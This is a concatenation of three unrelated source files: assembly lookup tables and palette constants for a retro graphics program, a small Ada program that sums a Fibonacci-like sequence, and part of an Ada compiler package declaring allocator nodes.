ConLut11 .byte 0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6,6,6,7,7,7,7,7,7,7,7,7,8,8,8,8,8,8,8,8,8,9,9,9,9,9,9,9,9,9,10,10,10,10,10,10,10,10,10,11,11,11,11,11,11,11,11,11,11,12,12,12,12,12,12,12,12,12,13,13,13,13,13,13,13,13,13,14,14,14,14,14,14,14,14,14,15,15,15,15,15,15,15,15,15,16,16,16,16,16,16,16,16,16,17,17,17,17,17,17,17,17,17,18,18,18,18,18,18,18,18,18,19,19,19,19,19,19,19,19,19,20,20,20,20,20,20,20,20,20,21,21,21,21,21,21,21,21,21,22,22,22,22,22,22,22,22,22,22,23,23,23,23,23,23,23,23,23,24,24,24,24,24,24,24,24,24,25,25,25,25,25,25,25,25,25,26,26,26,26,26,26,26,26,26,27,27,27,27,27,27,27,27,27,28
ConLut12 .byte 0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6,6,6,7,7,7,7,7,7,7,7,8,8,8,8,8,8,8,8,9,9,9,9,9,9,9,9,9,10,10,10,10,10,10,10,10,11,11,11,11,11,11,11,11,12,12,12,12,12,12,12,12,12,13,13,13,13,13,13,13,13,14,14,14,14,14,14,14,14,15,15,15,15,15,15,15,15,15,16,16,16,16,16,16,16,16,17,17,17,17,17,17,17,17,18,18,18,18,18,18,18,18,18,19,19,19,19,19,19,19,19,20,20,20,20,20,20,20,20,21,21,21,21,21,21,21,21,21,22,22,22,22,22,22,22,22,23,23,23,23,23,23,23,23,24,24,24,24,24,24,24,24,24,25,25,25,25,25,25,25,25,26,26,26,26,26,26,26,26,27,27,27,27,27,27,27,27,27,28,28,28,28,28,28,28,28,29,29,29,29,29,29,29,29,30,30,30,30,30,30
ConLut13 .byte 0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6,7,7,7,7,7,7,7,7,8,8,8,8,8,8,8,8,9,9,9,9,9,9,9,10,10,10,10,10,10,10,10,11,11,11,11,11,11,11,11,12,12,12,12,12,12,12,13,13,13,13,13,13,13,13,14,14,14,14,14,14,14,14,15,15,15,15,15,15,15,15,16,16,16,16,16,16,16,17,17,17,17,17,17,17,17,18,18,18,18,18,18,18,18,19,19,19,19,19,19,19,20,20,20,20,20,20,20,20,21,21,21,21,21,21,21,21,22,22,22,22,22,22,22,23,23,23,23,23,23,23,23,24,24,24,24,24,24,24,24,25,25,25,25,25,25,25,26,26,26,26,26,26,26,26,27,27,27,27,27,27,27,27,28,28,28,28,28,28,28,28,29,29,29,29,29,29,29,30,30,30,30,30,30,30,30,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31
ConLut14 .byte 0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,2,2,2,2,2,2,2,3,3,3,3,3,3,3,4,4,4,4,4,4,4,5,5,5,5,5,5,5,6,6,6,6,6,6,6,7,7,7,7,7,7,7,7,8,8,8,8,8,8,8,9,9,9,9,9,9,9,10,10,10,10,10,10,10,11,11,11,11,11,11,11,12,12,12,12,12,12,12,13,13,13,13,13,13,13,14,14,14,14,14,14,14,14,15,15,15,15,15,15,15,16,16,16,16,16,16,16,17,17,17,17,17,17,17,18,18,18,18,18,18,18,19,19,19,19,19,19,19,20,20,20,20,20,20,20,21,21,21,21,21,21,21,21,22,22,22,22,22,22,22,23,23,23,23,23,23,23,24,24,24,24,24,24,24,25,25,25,25,25,25,25,26,26,26,26,26,26,26,27,27,27,27,27,27,27,28,28,28,28,28,28,28,28,29,29,29,29,29,29,29,30,30,30,30,30,30,30,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31
ConLut15 .byte 0,0,0,0,0,0,0,1,1,1,1,1,1,1,2,2,2,2,2,2,3,3,3,3,3,3,3,4,4,4,4,4,4,4,5,5,5,5,5,5,6,6,6,6,6,6,6,7,7,7,7,7,7,7,8,8,8,8,8,8,9,9,9,9,9,9,9,10,10,10,10,10,10,10,11,11,11,11,11,11,12,12,12,12,12,12,12,13,13,13,13,13,13,13,14,14,14,14,14,14,15,15,15,15,15,15,15,16,16,16,16,16,16,16,17,17,17,17,17,17,18,18,18,18,18,18,18,19,19,19,19,19,19,19,20,20,20,20,20,20,21,21,21,21,21,21,21,22,22,22,22,22,22,22,23,23,23,23,23,23,24,24,24,24,24,24,24,25,25,25,25,25,25,25,26,26,26,26,26,26,27,27,27,27,27,27,27,28,28,28,28,28,28,28,29,29,29,29,29,29,30,30,30,30,30,30,30,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31
ConLut16 .byte 0,0,0,0,0,0,0,1,1,1,1,1,1,2,2,2,2,2,2,3,3,3,3,3,3,4,4,4,4,4,4,4,5,5,5,5,5,5,6,6,6,6,6,6,7,7,7,7,7,7,8,8,8,8,8,8,8,9,9,9,9,9,9,10,10,10,10,10,10,11,11,11,11,11,11,12,12,12,12,12,12,12,13,13,13,13,13,13,14,14,14,14,14,14,15,15,15,15,15,15,16,16,16,16,16,16,16,17,17,17,17,17,17,18,18,18,18,18,18,19,19,19,19,19,19,20,20,20,20,20,20,20,21,21,21,21,21,21,22,22,22,22,22,22,23,23,23,23,23,23,24,24,24,24,24,24,24,25,25,25,25,25,25,26,26,26,26,26,26,27,27,27,27,27,27,28,28,28,28,28,28,28,29,29,29,29,29,29,30,30,30,30,30,30,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31
ConLut17 .byte 0,0,0,0,0,0,1,1,1,1,1,1,2,2,2,2,2,2,3,3,3,3,3,3,4,4,4,4,4,4,5,5,5,5,5,5,6,6,6,6,6,6,7,7,7,7,7,7,8,8,8,8,8,9,9,9,9,9,9,10,10,10,10,10,10,11,11,11,11,11,11,12,12,12,12,12,12,13,13,13,13,13,13,14,14,14,14,14,14,15,15,15,15,15,15,16,16,16,16,16,17,17,17,17,17,17,18,18,18,18,18,18,19,19,19,19,19,19,20,20,20,20,20,20,21,21,21,21,21,21,22,22,22,22,22,22,23,23,23,23,23,23,24,24,24,24,24,24,25,25,25,25,25,26,26,26,26,26,26,27,27,27,27,27,27,28,28,28,28,28,28,29,29,29,29,29,29,30,30,30,30,30,30,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31
ConLut18 .byte 0,0,0,0,0,0,1,1,1,1,1,1,2,2,2,2,2,3,3,3,3,3,3,4,4,4,4,4,5,5,5,5,5,5,6,6,6,6,6,7,7,7,7,7,7,8,8,8,8,8,9,9,9,9,9,9,10,10,10,10,10,10,11,11,11,11,11,12,12,12,12,12,12,13,13,13,13,13,14,14,14,14,14,14,15,15,15,15,15,16,16,16,16,16,16,17,17,17,17,17,18,18,18,18,18,18,19,19,19,19,19,19,20,20,20,20,20,21,21,21,21,21,21,22,22,22,22,22,23,23,23,23,23,23,24,24,24,24,24,25,25,25,25,25,25,26,26,26,26,26,27,27,27,27,27,27,28,28,28,28,28,28,29,29,29,29,29,30,30,30,30,30,30,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31
ConLut19 .byte 0,0,0,0,0,0,1,1,1,1,1,2,2,2,2,2,3,3,3,3,3,3,4,4,4,4,4,5,5,5,5,5,6,6,6,6,6,7,7,7,7,7,7,8,8,8,8,8,9,9,9,9,9,10,10,10,10,10,11,11,11,11,11,11,12,12,12,12,12,13,13,13,13,13,14,14,14,14,14,15,15,15,15,15,15,16,16,16,16,16,17,17,17,17,17,18,18,18,18,18,19,19,19,19,19,19,20,20,20,20,20,21,21,21,21,21,22,22,22,22,22,22,23,23,23,23,23,24,24,24,24,24,25,25,25,25,25,26,26,26,26,26,26,27,27,27,27,27,28,28,28,28,28,29,29,29,29,29,30,30,30,30,30,30,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31
ConLut20 .byte 0,0,0,0,0,1,1,1,1,1,2,2,2,2,2,3,3,3,3,3,4,4,4,4,4,5,5,5,5,5,6,6,6,6,6,7,7,7,7,7,8,8,8,8,8,9,9,9,9,9,10,10,10,10,10,11,11,11,11,11,12,12,12,12,12,13,13,13,13,13,14,14,14,14,14,15,15,15,15,15,16,16,16,16,16,17,17,17,17,17,18,18,18,18,18,19,19,19,19,19,20,20,20,20,20,21,21,21,21,21,22,22,22,22,22,23,23,23,23,23,24,24,24,24,24,25,25,25,25,25,26,26,26,26,26,27,27,27,27,27,28,28,28,28,28,29,29,29,29,29,30,30,30,30,30,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31
ConLut21 .byte 0,0,0,0,0,1,1,1,1,1,2,2,2,2,2,3,3,3,3,3,4,4,4,4,5,5,5,5,5,6,6,6,6,6,7,7,7,7,7,8,8,8,8,9,9,9,9,9,10,10,10,10,10,11,11,11,11,11,12,12,12,12,13,13,13,13,13,14,14,14,14,14,15,15,15,15,15,16,16,16,16,17,17,17,17,17,18,18,18,18,18,19,19,19,19,19,20,20,20,20,21,21,21,21,21,22,22,22,22,22,23,23,23,23,23,24,24,24,24,24,25,25,25,25,26,26,26,26,26,27,27,27,27,27,28,28,28,28,28,29,29,29,29,30,30,30,30,30,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31
ConLut22 .byte 0,0,0,0,0,1,1,1,1,1,2,2,2,2,3,3,3,3,3,4,4,4,4,5,5,5,5,5,6,6,6,6,7,7,7,7,7,8,8,8,8,9,9,9,9,9,10,10,10,10,11,11,11,11,11,12,12,12,12,12,13,13,13,13,14,14,14,14,14,15,15,15,15,16,16,16,16,16,17,17,17,17,18,18,18,18,18,19,19,19,19,20,20,20,20,20,21,21,21,21,22,22,22,22,22,23,23,23,23,23,24,24,24,24,25,25,25,25,25,26,26,26,26,27,27,27,27,27,28,28,28,28,29,29,29,29,29,30,30,30,30,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31
ConLut23 .byte 0,0,0,0,0,1,1,1,1,2,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,5,6,6,6,6,7,7,7,7,8,8,8,8,8,9,9,9,9,10,10,10,10,11,11,11,11,11,12,12,12,12,13,13,13,13,14,14,14,14,14,15,15,15,15,16,16,16,16,17,17,17,17,17,18,18,18,18,19,19,19,19,20,20,20,20,20,21,21,21,21,22,22,22,22,23,23,23,23,23,24,24,24,24,25,25,25,25,25,26,26,26,26,27,27,27,27,28,28,28,28,28,29,29,29,29,30,30,30,30,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31
ConLut24 .byte 0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,6,6,6,6,6,7,7,7,7,8,8,8,8,9,9,9,9,10,10,10,10,11,11,11,11,12,12,12,12,12,13,13,13,13,14,14,14,14,15,15,15,15,16,16,16,16,17,17,17,17,18,18,18,18,18,19,19,19,19,20,20,20,20,21,21,21,21,22,22,22,22,23,23,23,23,24,24,24,24,24,25,25,25,25,26,26,26,26,27,27,27,27,28,28,28,28,29,29,29,29,30,30,30,30,30,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31
ConLut25 .byte 0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,6,6,6,6,7,7,7,7,8,8,8,8,9,9,9,9,10,10,10,10,11,11,11,11,12,12,12,12,13,13,13,13,14,14,14,14,15,15,15,15,16,16,16,16,17,17,17,17,18,18,18,18,19,19,19,19,20,20,20,20,21,21,21,21,22,22,22,22,23,23,23,23,24,24,24,24,25,25,25,25,26,26,26,26,27,27,27,27,28,28,28,28,29,29,29,29,30,30,30,30,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31
ConLut26 .byte 0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,6,6,6,7,7,7,7,8,8,8,8,9,9,9,9,10,10,10,10,11,11,11,11,12,12,12,13,13,13,13,14,14,14,14,15,15,15,15,16,16,16,16,17,17,17,17,18,18,18,18,19,19,19,20,20,20,20,21,21,21,21,22,22,22,22,23,23,23,23,24,24,24,24,25,25,25,26,26,26,26,27,27,27,27,28,28,28,28,29,29,29,29,30,30,30,30,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31
ConLut27 .byte 0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,4,4,4,4,5,5,5,5,6,6,6,7,7,7,7,8,8,8,8,9,9,9,9,10,10,10,11,11,11,11,12,12,12,12,13,13,13,14,14,14,14,15,15,15,15,16,16,16,17,17,17,17,18,18,18,18,19,19,19,19,20,20,20,21,21,21,21,22,22,22,22,23,23,23,24,24,24,24,25,25,25,25,26,26,26,27,27,27,27,28,28,28,28,29,29,29,29,30,30,30,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31
ConLut28 .byte 0,0,0,0,1,1,1,1,2,2,2,3,3,3,3,4,4,4,5,5,5,5,6,6,6,7,7,7,7,8,8,8,8,9,9,9,10,10,10,10,11,11,11,12,12,12,12,13,13,13,14,14,14,14,15,15,15,15,16,16,16,17,17,17,17,18,18,18,19,19,19,19,20,20,20,21,21,21,21,22,22,22,22,23,23,23,24,24,24,24,25,25,25,26,26,26,26,27,27,27,28,28,28,28,29,29,29,29,30,30,30,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31
ConLut29 .byte 0,0,0,0,1,1,1,2,2,2,2,3,3,3,4,4,4,4,5,5,5,6,6,6,6,7,7,7,8,8,8,8,9,9,9,10,10,10,11,11,11,11,12,12,12,13,13,13,13,14,14,14,15,15,15,15,16,16,16,17,17,17,17,18,18,18,19,19,19,20,20,20,20,21,21,21,22,22,22,22,23,23,23,24,24,24,24,25,25,25,26,26,26,26,27,27,27,28,28,28,29,29,29,29,30,30,30,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31
ConLut30 .byte 0,0,0,0,1,1,1,2,2,2,3,3,3,3,4,4,4,5,5,5,6,6,6,6,7,7,7,8,8,8,9,9,9,9,10,10,10,11,11,11,12,12,12,12,13,13,13,14,14,14,15,15,15,15,16,16,16,17,17,17,18,18,18,18,19,19,19,20,20,20,21,21,21,21,22,22,22,23,23,23,24,24,24,24,25,25,25,26,26,26,27,27,27,27,28,28,28,29,29,29,30,30,30,30,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31
ConLut31 .byte 0,0,0,0,1,1,1,2,2,2,3,3,3,4,4,4,4,5,5,5,6,6,6,7,7,7,8,8,8,8,9,9,9,10,10,10,11,11,11,12,12,12,13,13,13,13,14,14,14,15,15,15,16,16,16,17,17,17,17,18,18,18,19,19,19,20,20,20,21,21,21,22,22,22,22,23,23,23,24,24,24,25,25,25,26,26,26,26,27,27,27,28,28,28,29,29,29,30,30,30,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31
NewMix1 .byte 02,03,04,05,06,07,08,09,10,11,12,13,14,15,255
newmix2 .byte 11,15,08,10,09,13,04,06,05,02,14,07,12,03,255
OldMix1 .byte 02,02,02,03,03,03,04,04,04,04,04,05,05,05,05,05,06,06,06,07,07,07,08,08,08,08,08,09,09,09,10,10,10,10,10,11,11,11,12,12,12,12,12,13,13,13,14,14,14,14,14,15,15,15,255
OldMix2 .byte 06,09,11,07,13,15,05,08,10,12,14,04,08,10,12,14,02,09,11,03,13,15,04,05,10,12,14,02,06,11,04,05,08,12,14,02,06,09,04,05,08,10,14,03,07,15,04,05,08,10,12,03,07,13,255
AllMix1 .byte 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
.byte 2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3
.byte 4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5
.byte 6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7
.byte 8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9
.byte 10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11
.byte 12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13
.byte 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15
AllMix2 .byte 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
.byte 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
.byte 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
.byte 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
.byte 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
.byte 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
.byte 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
.byte 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
BriLut .char -15,-14,-14,-14,-13,-13,-13,-12,-12,-12,-12,-11,-11,-11,-10,-10,-10,-9,-9,-9,-9,-8,-8,-8,-7,-7,-7,-6,-6,-6,-6,-5,-5,-5,-4,-4,-4,-3,-3,-3,-3,-2,-2,-2,-1,-1,-1,0,0,0
.char 0,0,0,0,1,1,1,2,2,2,3,3,3,3,4,4,4,5,5,5,6,6,6,6,7,7,7,8,8,8,9,9,9,9,10,10,10,11,11,11,12,12,12,12,13,13,13,14,14,14,15
;GUI palette tables
;Current palette
guipal
PalRed .byte 255,255
PalLtGrn .byte 255,255
PalGrey3 .byte 255,255
PalGrey1 .byte 255,255
PalWhite .byte 255,255
PalltBlue .byte 255,255
PalFlash .byte 255,255,0,0
;YPbPr values
guipalcomp .byte 30,44 ;11, 30, 0
.byte 64,44 ;11, 0, 2 01000000 00101100
.byte 239,105
.byte 239,%00011101
.byte 239,125
.byte 224,47 ;11, 0, 30 11100000 00101111
.byte 16,2,16
;RGB values
guipalrgb .byte 31,0
.byte 0,%01111100
.byte 84,78
.byte 10,37
.byte 255,127
.byte 224,3
.byte 0,0,16
;Floading point constants
Sector .byte 133,52,0,0,0
radian .byte 123,14,250,53,15
screen .byte 126,76,204,204,205
UBias .ptext "1.10"
VBias .ptext "1.10"
FP0 .fill 5,0
FPm128 .byte 136,128,0,0,0
FP255 .byte 136,127,0,0,0
FP127 .byte 135,126,0,0,0
FPScalePr .byte 129,29,111,8,205
FPScalePb .byte 128,95,60,196,171
fpRc .byte 129,51,116,188,106
fpGc1 .byte 127,48,32,196,156
fpGc2 .byte 128,54,200,180,58
fpBc .byte 129,98,208,229,96 |
out/fibo.adb | FardaleM/metalang | 22 | 14462 | <reponame>FardaleM/metalang
with ada.text_io, ada.Integer_text_IO, Ada.Text_IO.Text_Streams, Ada.Strings.Fixed, Interfaces.C;
use ada.text_io, ada.Integer_text_IO, Ada.Strings, Ada.Strings.Fixed, Interfaces.C;
procedure fibo is
type stringptr is access all char_array;
procedure PInt(i : in Integer) is
begin
String'Write (Text_Streams.Stream (Current_Output), Trim(Integer'Image(i), Left));
end;
procedure SkipSpaces is
C : Character;
Eol : Boolean;
begin
loop
Look_Ahead(C, Eol);
exit when Eol or C /= ' ';
Get(C);
end loop;
end;
--
--La suite de fibonaci
--
function fibo0(a : in Integer; b : in Integer; i : in Integer) return Integer is
tmp : Integer;
out0 : Integer;
b2 : Integer;
a2 : Integer;
begin
out0 := 0;
a2 := a;
b2 := b;
for j in integer range 0..i + 1 loop
out0 := out0 + a2;
tmp := b2;
b2 := b2 + a2;
a2 := tmp;
end loop;
return out0;
end;
i : Integer;
b : Integer;
a : Integer;
begin
Get(a);
SkipSpaces;
Get(b);
SkipSpaces;
Get(i);
PInt(fibo0(a, b, i));
end;
|
source/nodes/program-nodes-allocators.ads | reznikmm/gela | 0 | 16650 | <gh_stars>0
-- SPDX-FileCopyrightText: 2019 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-------------------------------------------------------------
with Program.Lexical_Elements;
with Program.Elements.Expressions;
with Program.Elements.Subtype_Indications;
with Program.Elements.Qualified_Expressions;
with Program.Elements.Allocators;
with Program.Element_Visitors;
package Program.Nodes.Allocators is
pragma Preelaborate;
type Allocator is
new Program.Nodes.Node and Program.Elements.Allocators.Allocator
and Program.Elements.Allocators.Allocator_Text
with private;
function Create
(New_Token : not null Program.Lexical_Elements
.Lexical_Element_Access;
Left_Bracket_Token : Program.Lexical_Elements.Lexical_Element_Access;
Subpool_Name : Program.Elements.Expressions.Expression_Access;
Right_Bracket_Token : Program.Lexical_Elements.Lexical_Element_Access;
Subtype_Indication : Program.Elements.Subtype_Indications
.Subtype_Indication_Access;
Qualified_Expression : Program.Elements.Qualified_Expressions
.Qualified_Expression_Access)
return Allocator;
type Implicit_Allocator is
new Program.Nodes.Node and Program.Elements.Allocators.Allocator
with private;
function Create
(Subpool_Name : Program.Elements.Expressions.Expression_Access;
Subtype_Indication : Program.Elements.Subtype_Indications
.Subtype_Indication_Access;
Qualified_Expression : Program.Elements.Qualified_Expressions
.Qualified_Expression_Access;
Is_Part_Of_Implicit : Boolean := False;
Is_Part_Of_Inherited : Boolean := False;
Is_Part_Of_Instance : Boolean := False)
return Implicit_Allocator
with Pre =>
Is_Part_Of_Implicit or Is_Part_Of_Inherited or Is_Part_Of_Instance;
private
type Base_Allocator is
abstract new Program.Nodes.Node and Program.Elements.Allocators.Allocator
with record
Subpool_Name : Program.Elements.Expressions.Expression_Access;
Subtype_Indication : Program.Elements.Subtype_Indications
.Subtype_Indication_Access;
Qualified_Expression : Program.Elements.Qualified_Expressions
.Qualified_Expression_Access;
end record;
procedure Initialize (Self : in out Base_Allocator'Class);
overriding procedure Visit
(Self : not null access Base_Allocator;
Visitor : in out Program.Element_Visitors.Element_Visitor'Class);
overriding function Subpool_Name
(Self : Base_Allocator)
return Program.Elements.Expressions.Expression_Access;
overriding function Subtype_Indication
(Self : Base_Allocator)
return Program.Elements.Subtype_Indications.Subtype_Indication_Access;
overriding function Qualified_Expression
(Self : Base_Allocator)
return Program.Elements.Qualified_Expressions
.Qualified_Expression_Access;
